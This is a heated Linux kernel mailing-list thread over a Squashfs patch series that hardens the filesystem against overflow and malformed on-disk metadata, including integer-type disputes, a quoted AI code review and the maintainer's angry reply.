Use 'unsigned int' (or u32 if fixed size) so that the values don't get promoted to 'signed int' all time - which is what happens here.
David
Quoted 52 lines
Patch 7 fixes an incorrect offset value in TRACE statements in
squashfs_read_inode(). This was new to the v2 patch-set.Patch 8 is new to this v3 patch-set. The patch is an attempt to stop Sashiko from getting stuck in logical contradictions when some sanity checks are introduced later.
Patches 9 - 17 fix various issues relating to variable overflow, arithmetic overflow and add additional sanity checking to prevent these issues from occurring.
Patches 18 - 20 remove the excessive allocation of memory by introducing caches, which limit the maximum usage to 4 pages.
Patches 21 - 22 were new to the v2 patch-set. They deal with some issues Sashiko reported in the original patch-set.
Patch 23 was also new to the v2 patch-set. It adds an additional belts and braces sanity check.
Patches 9 - 21 have reproducers which show how the existing code faults can be exploited, in some cases which can allow a Squashfs filesystem to be tampered with to make files readable by unprivileged users.
BTW checkpatch.pl complains about the '#' lines in the BASH script reproducers. Let me know if that will cause problems.
fs/squashfs/block.c | 20 ++- fs/squashfs/cache.c | 8 +- fs/squashfs/dir.c | 114 +++++++++---- fs/squashfs/export.c | 146 ++++++++++++----- fs/squashfs/file.c | 93 +++++++---- fs/squashfs/fragment.c | 113 ++++++++++--- fs/squashfs/id.c | 9 +- fs/squashfs/inode.c | 77 +++++---- fs/squashfs/namei.c | 137 +++++++++++----- fs/squashfs/squashfs.h | 9 +- fs/squashfs/squashfs_fs.h | 101 ------------ fs/squashfs/squashfs_fs_i.h | 2 +- fs/squashfs/squashfs_fs_sb.h | 25 ++- fs/squashfs/squashfs_helpers.h | 362 +++++++++++++++++++++++++++++++++++++++++ fs/squashfs/super.c | 96 +++++++---- fs/squashfs/xattr.c | 49 ++++-- fs/squashfs/xattr.h | 21 ++- fs/squashfs/xattr_id.c | 173 ++++++++++++++------ 18 files changed, 1133 insertions(+), 422 deletions(-)Phillip
---
Squashfs maintainer and author
Phillip Lougher
maintainerQuoted 26 lines · On Mon, 23 Nov 2026 09:23:31 +0000 David Laight <[email protected]>…
Quoted 16 lines · On Mon, 23 Nov 2026 03:42:41 +0000 Phillip Lougher <[email protected]>…
This large patch-set is inspired by the recent spate of AI generated code reports. Four of the patches directly fix AI reported issues, and the rest have been found manually by a read-through and testing of the code.
In all cases (except patches 1 - 8, 18 - 20) the patches deal with over-sights relating to variable overflow, arithmetic overflow, variable signedness or just lack of sanity checking of data read from disk. These can cause the code to fail, and which could be used as a potential exploit.
Patches 18, 19, and 20 fix potential excessive memory use exploits. The code in question was written in the early days when Squashfs filesystems were small, but with very large filesystems it could try to allocate memory in excess of 4 MiB, and up to 64 MiB.
Quoted 6 lines
The patches can be broken down as follows:
Patches 1 - 6 are preparatory patches. They convert old fashioned #define macros into inline functions. These being typed make widths and signedness explicit, and allow additional checking to be added in later patches.
Quoted 5 lines
Nope....
Using 16bit sizes is a recipe for disaster.
Remember every time the variable is accessed it is extended to 32 'int', the arithmetic done as 'int' (unless the other operand is 'unsigned int') and then truncated back to 16 bits.
This is getting beyond stupid.
This patch-set is to shut up woefully stupid AI that been inflicted on everyone over the last couple of months.
If I use a u32 then stupid AI will *believe* the value can be up to u32 and then complain about arthmetic overflow.
If I deliberately use a u16/s16 I'm telling AI the value can't be more than that, and it can't overflow.
At the moment, submitting patches to the kernel has become impossible, necessary workarounds to fix the AI inflicting the submission trigger complaints from humans.
Result: an endless cycle of changes which get nowhere.
Quoted 63 lines
I looked at a few, they are horrid beyond belief.
I can't believe some of those values can be negative - so don't use signed types.
Use 'unsigned int' (or u32 if fixed size) so that the values don't get promoted to 'signed int' all time - which is what happens here.David
Quoted 52 lines
Patch 7 fixes an incorrect offset value in TRACE statements in
squashfs_read_inode(). This was new to the v2 patch-set.Patch 8 is new to this v3 patch-set. The patch is an attempt to stop Sashiko from getting stuck in logical contradictions when some sanity checks are introduced later.
Patches 9 - 17 fix various issues relating to variable overflow, arithmetic overflow and add additional sanity checking to prevent these issues from occurring.
Patches 18 - 20 remove the excessive allocation of memory by introducing caches, which limit the maximum usage to 4 pages.
Patches 21 - 22 were new to the v2 patch-set. They deal with some issues Sashiko reported in the original patch-set.
Patch 23 was also new to the v2 patch-set. It adds an additional belts and braces sanity check.
Patches 9 - 21 have reproducers which show how the existing code faults can be exploited, in some cases which can allow a Squashfs filesystem to be tampered with to make files readable by unprivileged users.
BTW checkpatch.pl complains about the '#' lines in the BASH script reproducers. Let me know if that will cause problems.
fs/squashfs/block.c | 20 ++- fs/squashfs/cache.c | 8 +- fs/squashfs/dir.c | 114 +++++++++---- fs/squashfs/export.c | 146 ++++++++++++----- fs/squashfs/file.c | 93 +++++++---- fs/squashfs/fragment.c | 113 ++++++++++--- fs/squashfs/id.c | 9 +- fs/squashfs/inode.c | 77 +++++---- fs/squashfs/namei.c | 137 +++++++++++----- fs/squashfs/squashfs.h | 9 +- fs/squashfs/squashfs_fs.h | 101 ------------ fs/squashfs/squashfs_fs_i.h | 2 +- fs/squashfs/squashfs_fs_sb.h | 25 ++- fs/squashfs/squashfs_helpers.h | 362 +++++++++++++++++++++++++++++++++++++++++ fs/squashfs/super.c | 96 +++++++---- fs/squashfs/xattr.c | 49 ++++-- fs/squashfs/xattr.h | 21 ++- fs/squashfs/xattr_id.c | 173 ++++++++++++++------ 18 files changed, 1133 insertions(+), 422 deletions(-)Phillip
---
Squashfs maintainer and author
Signature · 1 line
Phillip Lougher <[email protected]>
Quoted 35 lines · On Mon, 23 Nov 2026 10:08:58 +0000 Phillip Lougher <[email protected]>…
Quoted 26 lines · On Mon, 23 Nov 2026 09:23:31 +0000 David Laight <[email protected]>…
Quoted 16 lines · On Mon, 23 Nov 2026 03:42:41 +0000 Phillip Lougher <[email protected]>…
This large patch-set is inspired by the recent spate of AI generated code reports. Four of the patches directly fix AI reported issues, and the rest have been found manually by a read-through and testing of the code.
In all cases (except patches 1 - 8, 18 - 20) the patches deal with over-sights relating to variable overflow, arithmetic overflow, variable signedness or just lack of sanity checking of data read from disk. These can cause the code to fail, and which could be used as a potential exploit.
Patches 18, 19, and 20 fix potential excessive memory use exploits. The code in question was written in the early days when Squashfs filesystems were small, but with very large filesystems it could try to allocate memory in excess of 4 MiB, and up to 64 MiB.
Quoted 6 lines
The patches can be broken down as follows:
Patches 1 - 6 are preparatory patches. They convert old fashioned #define macros into inline functions. These being typed make widths and signedness explicit, and allow additional checking to be added in later patches.
Quoted 5 lines
Nope....
Using 16bit sizes is a recipe for disaster.
Remember every time the variable is accessed it is extended to 32 'int', the arithmetic done as 'int' (unless the other operand is 'unsigned int') and then truncated back to 16 bits.
Quoted 7 lines
This is getting beyond stupid.
This patch-set is to shut up woefully stupid AI that been inflicted on everyone over the last couple of months.
If I use a u32 then stupid AI will *believe* the value can be up to u32 and then complain about arthmetic overflow.
Then just ignore the stup AI.
Quoted 75 lines
If I deliberately use a u16/s16 I'm telling AI the value can't be more than that, and it can't overflow.
At the moment, submitting patches to the kernel has become impossible, necessary workarounds to fix the AI inflicting the submission trigger complaints from humans.
Result: an endless cycle of changes which get nowhere.
Quoted 63 lines
I looked at a few, they are horrid beyond belief.
I can't believe some of those values can be negative - so don't use signed types.
Use 'unsigned int' (or u32 if fixed size) so that the values don't get promoted to 'signed int' all time - which is what happens here.David
Quoted 52 lines
Patch 7 fixes an incorrect offset value in TRACE statements in
squashfs_read_inode(). This was new to the v2 patch-set.Patch 8 is new to this v3 patch-set. The patch is an attempt to stop Sashiko from getting stuck in logical contradictions when some sanity checks are introduced later.
Patches 9 - 17 fix various issues relating to variable overflow, arithmetic overflow and add additional sanity checking to prevent these issues from occurring.
Patches 18 - 20 remove the excessive allocation of memory by introducing caches, which limit the maximum usage to 4 pages.
Patches 21 - 22 were new to the v2 patch-set. They deal with some issues Sashiko reported in the original patch-set.
Patch 23 was also new to the v2 patch-set. It adds an additional belts and braces sanity check.
Patches 9 - 21 have reproducers which show how the existing code faults can be exploited, in some cases which can allow a Squashfs filesystem to be tampered with to make files readable by unprivileged users.
BTW checkpatch.pl complains about the '#' lines in the BASH script reproducers. Let me know if that will cause problems.
fs/squashfs/block.c | 20 ++- fs/squashfs/cache.c | 8 +- fs/squashfs/dir.c | 114 +++++++++---- fs/squashfs/export.c | 146 ++++++++++++----- fs/squashfs/file.c | 93 +++++++---- fs/squashfs/fragment.c | 113 ++++++++++--- fs/squashfs/id.c | 9 +- fs/squashfs/inode.c | 77 +++++---- fs/squashfs/namei.c | 137 +++++++++++----- fs/squashfs/squashfs.h | 9 +- fs/squashfs/squashfs_fs.h | 101 ------------ fs/squashfs/squashfs_fs_i.h | 2 +- fs/squashfs/squashfs_fs_sb.h | 25 ++- fs/squashfs/squashfs_helpers.h | 362 +++++++++++++++++++++++++++++++++++++++++ fs/squashfs/super.c | 96 +++++++---- fs/squashfs/xattr.c | 49 ++++-- fs/squashfs/xattr.h | 21 ++- fs/squashfs/xattr_id.c | 173 ++++++++++++++------ 18 files changed, 1133 insertions(+), 422 deletions(-)Phillip
---
Squashfs maintainer and author
Quoted 37 lines · On Mon, 23 Nov 2026 10:08:58 +0000 Phillip Lougher <[email protected]>…
Quoted 26 lines · On Mon, 23 Nov 2026 09:23:31 +0000 David Laight <[email protected]>…
Quoted 16 lines · On Mon, 23 Nov 2026 03:42:41 +0000 Phillip Lougher <[email protected]>…
This large patch-set is inspired by the recent spate of AI generated code reports. Four of the patches directly fix AI reported issues, and the rest have been found manually by a read-through and testing of the code.
In all cases (except patches 1 - 8, 18 - 20) the patches deal with over-sights relating to variable overflow, arithmetic overflow, variable signedness or just lack of sanity checking of data read from disk. These can cause the code to fail, and which could be used as a potential exploit.
Patches 18, 19, and 20 fix potential excessive memory use exploits. The code in question was written in the early days when Squashfs filesystems were small, but with very large filesystems it could try to allocate memory in excess of 4 MiB, and up to 64 MiB.
Quoted 6 lines
The patches can be broken down as follows:
Patches 1 - 6 are preparatory patches. They convert old fashioned #define macros into inline functions. These being typed make widths and signedness explicit, and allow additional checking to be added in later patches.
Quoted 5 lines
Nope....
Using 16bit sizes is a recipe for disaster.
Remember every time the variable is accessed it is extended to 32 'int', the arithmetic done as 'int' (unless the other operand is 'unsigned int') and then truncated back to 16 bits.This is getting beyond stupid.
Quoted 8 lines
This patch-set is to shut up woefully stupid AI that been inflicted on everyone over the last couple of months.
If I use a u32 then stupid AI will *believe* the value can be up to u32 and then complain about arthmetic overflow.
If I deliberately use a u16/s16 I'm telling AI the value can't be more than that, and it can't overflow.
I've thought more.
The best you can be doing is moving any overflow somewhere else. Reducing the sizes of the types can only increase the chance of overflow.
David
Quoted 72 lines
At the moment, submitting patches to the kernel has become impossible, necessary workarounds to fix the AI inflicting the submission trigger complaints from humans.
Result: an endless cycle of changes which get nowhere.
Quoted 63 lines
I looked at a few, they are horrid beyond belief.
I can't believe some of those values can be negative - so don't use signed types.
Use 'unsigned int' (or u32 if fixed size) so that the values don't get promoted to 'signed int' all time - which is what happens here.David
Quoted 52 lines
Patch 7 fixes an incorrect offset value in TRACE statements in
squashfs_read_inode(). This was new to the v2 patch-set.Patch 8 is new to this v3 patch-set. The patch is an attempt to stop Sashiko from getting stuck in logical contradictions when some sanity checks are introduced later.
Patches 9 - 17 fix various issues relating to variable overflow, arithmetic overflow and add additional sanity checking to prevent these issues from occurring.
Patches 18 - 20 remove the excessive allocation of memory by introducing caches, which limit the maximum usage to 4 pages.
Patches 21 - 22 were new to the v2 patch-set. They deal with some issues Sashiko reported in the original patch-set.
Patch 23 was also new to the v2 patch-set. It adds an additional belts and braces sanity check.
Patches 9 - 21 have reproducers which show how the existing code faults can be exploited, in some cases which can allow a Squashfs filesystem to be tampered with to make files readable by unprivileged users.
BTW checkpatch.pl complains about the '#' lines in the BASH script reproducers. Let me know if that will cause problems.
fs/squashfs/block.c | 20 ++- fs/squashfs/cache.c | 8 +- fs/squashfs/dir.c | 114 +++++++++---- fs/squashfs/export.c | 146 ++++++++++++----- fs/squashfs/file.c | 93 +++++++---- fs/squashfs/fragment.c | 113 ++++++++++--- fs/squashfs/id.c | 9 +- fs/squashfs/inode.c | 77 +++++---- fs/squashfs/namei.c | 137 +++++++++++----- fs/squashfs/squashfs.h | 9 +- fs/squashfs/squashfs_fs.h | 101 ------------ fs/squashfs/squashfs_fs_i.h | 2 +- fs/squashfs/squashfs_fs_sb.h | 25 ++- fs/squashfs/squashfs_helpers.h | 362 +++++++++++++++++++++++++++++++++++++++++ fs/squashfs/super.c | 96 +++++++---- fs/squashfs/xattr.c | 49 ++++-- fs/squashfs/xattr.h | 21 ++- fs/squashfs/xattr_id.c | 173 ++++++++++++++------ 18 files changed, 1133 insertions(+), 422 deletions(-)Phillip
---
Squashfs maintainer and author
A message that is not in the archive (sent off-list or not yet received): [email protected]
Phillip Lougher
maintainerQuoted 9 lines · On Sun, 22 Nov 2026 23:54:53 -0800 Andrew Morton <[email protected]>…
Quoted 2 lines · On Mon, 23 Nov 2026 03:42:41 +0000 Phillip Lougher <[email protected]>…
This large patch-set is inspired by the recent spate of AI generated code reports.
Just to be annoying, I fed this into Claude Fable. It said a bunch of stuff which looks very optional but the 08/23 blooper is worth fixing, so I queued a -fix.
God forbid,I would never say you're annoying. But the AI assisted ability to find fault in everything is exhausting.
AI amplifies problems because it lacks context and insight. Please don't say you you've got into the belief everything AI says is correct, because it can be contractory depending on the depth of the anaysis, which means you will go into endless impossible cycles.
Some of the following is exactly that:
Quoted 6 lines
Unlike chatgpt, Fable is able to build kernels and run them in VMs all inside its sandbox. Pretty cool stuff.
Quoted 9 lines
[08/23] breaks
squashfs_lookup()when itspr_debugis enabled:struct inode *inode = NULL; ... TRACE("Entered squashfs_lookup [%llx:%x]\n", squashfs_i(inode)->start, squashfs_i(inode)->offset);That wants to be "dir". With
CONFIG_DYNAMIC_DEBUG=y,
Yeah a fuckup because the other function used inode not dir.
Easily fixed, no big issue,
Quoted 7 lines
echo 'file
fs/squashfs/namei.c+p' >/proc/dynamic_debug/controland then any lookup which misses the dcache gives
BUG: unable to handle page fault for address: ffffffffffffffc8 RIP: 0010:squashfs_lookup+0x57/0x4f9
Quoted 6 lines
It is still there at the end of the series.
[10/23] now requires the fragment index to end exactly where the next table starts. An image with 8 unused bytes there mounts and reads correctly today and fails with
-EINVALwith this patch (I made one by hand to check).
This is correct. By design there is never any padding between metadata, and any padding is incorrect. This has always been the case back since 2002.
No Squashfs filesystem should be able to hide information (like malicious metadata) by adding padding between metadata tables.
If it is there, then someone is trying to do something naughty.
The fact the previously sanity check didn't check for this, is because it was added in the relaxed days of 2011, when the check was needed to block a fuzzer, and the check added then was sufficient. Now, if it is not 100% exact, something like Sashiko will scream it is not sufficient.
[15/23] similarly starts rejecting a compressed block
Quoted 4 lines
whose size equals the block size. Is it certain that no version of mksquashfs, and nothing else which writes Squashfs (squashfs-tools-ng, the various Go and Rust libraries), ever produced either? If so, please say that in the changelogs.
Well this is the rub isn't it. I didn't want to put it in, but sashishito complained about the lack of it.
Now you're saying another fucking AI is complaining about it being in.
Quoted 10 lines
[18/23]-[20/23]: with a small index every entry is checked against its neighbour at mount time. With the cached index that checking is gone and only the range check in
*_lookup_start()remains. I couldn't find a way for that to go wrong, but is the difference intended?[22/23] fixes a regression in mainline (
5641371fd0b3) but sits on top of [14/23]. If it should go to -stable it needs to come first. None of the series is cc:stable at present - is that intended, given the changelogs describe permission bypasses?
Yes, the difference is intended. The additional sanity checks make up for it.
Quoted 7 lines
Small things:
- [01/23] isn't a pure conversion:
SQUASHFS_COMPRESSED_SIZE()returned 32768 for a zero length andsquashfs_compressed_size()returns 0. Both end up as-EIOinsquashfs_read_data(), so it's harmless, but the changelog could say so.
Really. I don'have an AI and so I didn't notice. But if the AI say so, well I'm only the fucking Squashfs author, and so what do I know.
Quoted 3 lines
- [10/23]'s reproducer says
fragment_table_startis at offset 72. It's at 80, which is what the dd uses.
Shucks.
Quoted 8 lines
- [20/23] has "Read fragment indexes into memory" in the xattr code.
-
msblk->lookup_tableis the superblock'slookup_table_start, andmsblk->lookup_table_startis something else (the first metadata block). Same forfragment_tableandxattr_id_table. That's going to confuse people.
Quoted 5 lines
I built each patch on
x86_64(W=1) and the result on i386 with and withoutCONFIG_SQUASHFS_XATTR, and ran small hand-made uncompressed images, including one with 2049-entry fragment and export indexes so that the new caches are used; all read back correctly. I have not run your reproducers, anything compressed, or xattrs.
I'm sorry Andrew but you have completely pissed me off.
I don't want you handling Squashfs from this day forwards.
I am *almost* at the point of resigning from Linu kernel Squashfs maintenance due to the endless bullying I have received from you.
But I won't because then *you* will have won.
I am also CC'ing this to the LKML, and Phoronix to show that that you have been bullying me for the last 4 weeks with my patch sumission to *my* code.
Thanks for nothing.
Dr. Phillip Lougher
Signature · 1 line
Phillip Lougher <[email protected]>